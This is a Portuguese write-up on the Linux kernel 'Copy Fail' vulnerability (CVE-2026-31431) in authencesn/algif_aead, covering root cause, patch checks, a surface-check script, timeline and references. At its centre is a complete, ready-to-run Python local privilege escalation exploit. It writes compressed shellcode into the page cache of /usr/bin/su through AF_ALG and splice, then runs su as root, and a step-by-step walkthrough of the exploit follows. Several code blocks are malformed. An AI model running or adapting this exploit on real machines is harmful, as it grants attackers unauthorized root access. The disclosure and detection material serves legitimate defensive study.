<div id='authencesn'/>

### ***A escrita fora dos limites em authencesn***

authencesn é o wrapper AEAD do kernel usado pelo IPsec com Números de Sequência Estendidos (RFC 4303). O IPsec usa números de sequência de 64 bits:

- seqno_hi - 32 bits superiores (bytes 0-3 do AAD)
- seqno_lo - 32 bits inferiores (bytes 4-7 do AAD)

Apenas seqno_lo é transmitido no fio; seqno_hi é contexto implícito. Para o cálculo de HMAC, o authencesn precisa reorganizar esses bytes: seqno_hi no início e seqno_lo no final da entrada do hash.

Ele realiza essa reorganização usando o scatterlist de destino do chamador como espaço de rascunho:```c
/* crypto/authencesn.c - crypto_authenc_esn_decrypt() */

// [1] Read bytes 0-7 of the AAD from dst
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);

// [2] Overwrite dst[4..7] with seqno_hi (temporary modification for HMAC)
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);

// [3] *** THE BUG ***
// Writes seqno_lo at dst[assoclen + cryptlen]
// This offset is AFTER the authentication tag - outside the legitimate AEAD output region.
// authencesn uses this position as scratch space and NEVER restores the original bytes.
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);

If the kernel was built between 2017 and the patch (commit a664bf3d603d), the system is potentially affected. Verify whether the patch is present:```bash
# Ubuntu / Debian
dpkg -l | grep linux-image

# RHEL / Fedora / Amazon Linux
rpm -q kernel

# SUSE
zypper se -s kernel-default

### ***3. Verifique se algif_aead está carregado***```bash
sudo modinfo algif_aead 2>/dev/null && echo "[+] algif_aead available" || echo "[-] algif_aead not found"

# 1. Check if AF_ALG socket is available
try:
	# AF_ALG, SOCK_SEQPACKET
	s = socket.socket(38, 5, 0)
	results['af_alg_socket'] = True
	# 2. Try binding to authencesn (the vulnerable algorithm)
	try:
		s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
		results['authencesn_available'] = True
	except OSError as e:
		results['authencesn_available'] = False
		results['authencesn_error'] = str(e)
	s.close()
except OSError as e:
	results['af_alg_socket'] = False
	results['af_alg_error'] = str(e)

# 3. Check if splice() is available
import os
results['splice_available'] = hasattr(os, 'splice')

print("\n=== Copy Fail CVE-2026-31431 - Surface Check ===\n")
for k, v in results.items():
	marker = '[+]' if v is True else '[-]' if v is False else '[i]'
	print(f"  {marker} {k}: {v}")

if results.get('af_alg_socket') and results.get('authencesn_available') and results.get('splice_available'):
	print("\n  [!] SURFACE AVAILABLE - system exposes the full attack surface.")
	print("      Verify whether the kernel includes patch a664bf3d603d.")
else:
	print("\n  [OK] Surface mitigated or not available.")

---

<div id='exploit'/>

## ***💣 Exploit***

Este exploit foi originalmente lançado pela Theori / Xint Code juntamente com a divulgação pública em 29 de abril de 2026.

- **SHA256:** a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9`
- **Repositório oficial:** [github.com/theori-io/copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)
- **Requisitos:** Python 3.10+, kernel afetado, AF_ALG habilitado.```python
#!/usr/bin/env python3
# Copy Fail - CVE-2026-31431
# Original: Theori / Xint Code - https://copy.fail/
# sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
# Requirements: Python 3.10+ (os.splice), affected kernel (2017-2026), AF_ALG enabled.
# Default target: /usr/bin/su (any readable setuid binary works).
# The page cache write is NOT persistent - it is reverted on the next reboot.

import os as g, zlib, socket as s

def d(x):
	return bytes.fromhex(x)

def c(f, t, c):
	# Open AF_ALG socket and bind to authencesn(hmac(sha256),cbc(aes))
	a = s.socket(38, 5, 0)                             # AF_ALG, SOCK_SEQPACKET
	a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
	h = 279                                            # SOL_ALG
	v = a.setsockopt
	v(h, 1, d('0800010000000010' + '0' * 64))          # ALG_SET_KEY
	v(h, 5, None, 4)                                   # ALG_SET_AUTHSIZE = 4
	u, _ = a.accept()
	o = t + 4
	i = d('00')

	# sendmsg: AAD = seqno_hi (4 bytes) || seqno_lo (4 bytes = payload to write)
	# authencesn writes seqno_lo into dst[assoclen+cryptlen] -> page cache
	u.sendmsg(
		[b"A" * 4 + c],                      # AAD: seqno_hi=0x41414141, seqno_lo=payload
		[
			(h, 3, i * 4),                   # ALG_SET_IV
			(h, 2, b'\x10' + i * 19),        # ALG_SET_OP=DECRYPT + params
			(h, 4, b'\x08' + i * 3),         # ALG_SET_AEAD_AUTHSIZE
		],
		32768                                # MSG_SENDPAGE_NOTLAST
	)

	# splice: delivers page cache pages from the target file into the AF_ALG socket
	# The TX SGL of the socket will point directly to page cache pages
	r, w = g.pipe()
	n = g.splice
	n(f, w, o, offset_src=0)   # file -> pipe (reference to page cache page)
	n(r, u.fileno(), o)        # pipe -> AF_ALG socket (TX SGL points to page cache)

	# recv: triggers decrypt in the kernel
	# authencesn performs the scratch write -> 4 bytes written into the page cache
	# recvmsg() returns error (HMAC fails - attacker-controlled ciphertext), write persists
	try:
		u.recv(8 + t)
	except:
		0

# Open target binary (readable by any user)
f = g.open("/usr/bin/su", 0)

# zlib-compressed shellcode - patches /usr/bin/su in the page cache
i = 0
e = zlib.decompress(d(
	"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d"
	"209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675"
	"c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))

# Iterate in 4-byte chunks: each iteration performs a controlled write into the page cache
while i < len(e):
	c(f, i, e[i:i+4])
	i += 4

# Execute the patched binary in memory - runs as UID 0
g.system("su")

---
---
---



<div id='walkthrough'/>

## ***🔬 Passo a Passo do Exploit***

<div id='step1'/>

### ***Passo 1 - Configuração do Socket***```python
# AF_ALG=38, SOCK_SEQPACKET=5
a = socket.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

ALG_SET_AUTHSIZE = 4 define o tamanho da tag de autenticação. Esse valor controla diretamente onde dst[assoclen + cryptlen] se posiciona em relação à região da tag no scatterlist e, portanto, qual deslocamento dentro da página do cache de páginas é sobrescrito.

<div id='step2'/>

### ***Passo 2 - Construir o Write***

Para cada bloco de 4 bytes do payload:```python
# AAD = 8 bytes: seqno_hi (bytes 0-3) || seqno_lo (bytes 4-7)
# seqno_lo = the 4 bytes we want to write into the page cache
aad = b"\x41\x41\x41\x41" + payload_chunk_4bytes

u.sendmsg([aad], [cmsg_headers], MSG_SENDPAGE_NOTLAST)

<div id='step3'/>

### ***Passo 3 - Disparar a Escrita do Page Cache***```python
try:
	u.recv(8 + t)
except:
	pass   # recvmsg() returns EBADMSG/EINVAL - HMAC fails. Expected.

A mensagem do commit afirma: "Não há benefício em operar in-place no algif_aead, pois a origem e o destino vêm de mapeamentos diferentes."



---
---
---



<div id='timeline'/>

## ***📅 Linha do Tempo de Divulgação***

| Data       | Evento                                                    |
|------------|----------------------------------------------------------|
| 2026-03-23 | Vulnerabilidade reportada à equipe de segurança do kernel Linux |
| 2026-03-24 | Reconhecimento inicial recebido                          |
| 2026-03-25 | Correções propostas e revisadas                          |
| 2026-04-01 | Correção integrada à mainline (a664bf3d603d)             |
| 2026-04-22 | CVE-2026-31431 atribuído                                 |
| 2026-04-29 | Divulgação pública, [copy.fail](https://copy.fail/)      |

**Descoberto por:** Taeyang Lee na [Theori](https://theori.io/) / [Xint Code](https://xint.io/)



---
---
---



<div id='references'/>

## ***📚 Referências***

- **[NVD - CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431)**
	> Entrada no Banco de Dados Nacional de Vulnerabilidades.

- **[Copy Fail - Divulgação oficial](https://copy.fail/)**
	> Página inicial com FAQ, distribuições afetadas, mitigações e PoC.

- **[Theori / Xint Blog - Análise completa](https://xint.io/blog/copy-fail-linux-distributions)**
	> Causa raiz, diagramas de scatterlist, cadeia histórica (2011→2015→2017) e passo a passo do exploit.

- **[Theori GitHub - copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)**
	> Repositório oficial contendo o PoC.

- **[Commit a664bf3d603d - correção](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d)**
	> Reverte a otimização in-place do algif_aead.

- **[Commit 72548b093ee3 - causa raiz (2017)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=72548b093ee3)**
	> Introduz a otimização in-place que colocava páginas do cache de páginas no destino gravável.

- **[Commit a5079d084f8b - authencesn introduzido (2011)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a5079d084f8b)**
	> Commit original que adiciona o authencesn, estabelecendo o padrão de gravação scratch.

- **[Commit 104880a6b470 - authencesn migrado para a API AEAD (2015)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=104880a6b470)**
	> Introduz o offset assoclen + cryptlen que escreve fora da região legítima.

- **[CVE-2016-5195 - Dirty Cow](https://dirtycow.ninja/)** · **[CVE-2022-0847 - Dirty Pipe](https://dirtypipe.cm4all.com/)**
	> Trabalhos anteriores na classe de corrupção de page cache / LPE.